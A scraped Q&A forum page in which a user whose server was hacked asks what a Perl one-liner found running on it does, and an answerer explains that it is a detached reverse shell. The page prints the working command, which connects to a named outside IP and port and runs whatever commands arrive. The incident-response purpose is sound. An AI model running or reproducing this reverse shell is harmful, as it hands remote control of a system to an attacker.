Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What does this nefarious program do?

Tags:

perl

My server got hacked, and ps aux shows that it's running this program now:

perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

I don't know Perl...what is this program doing?

like image 562
davidvgalbraith Avatar asked Dec 05 '22 14:12

davidvgalbraith


1 Answers

It opens a socket to that IP. Then it sets up the STDIN to read from it and the STDOUT to go to it. So it builds a direct communication channel between the process and that IP.

Then it goes into a while loop in which it runs via system whatever comes through STDIN.

It does this in a forked process, fire-and-forget (detached) style, where the parent exits right away. So this executes and exits and there is another process that talks with that IP and runs commands.

like image 124
zdim Avatar answered Jan 10 '23 09:01

zdim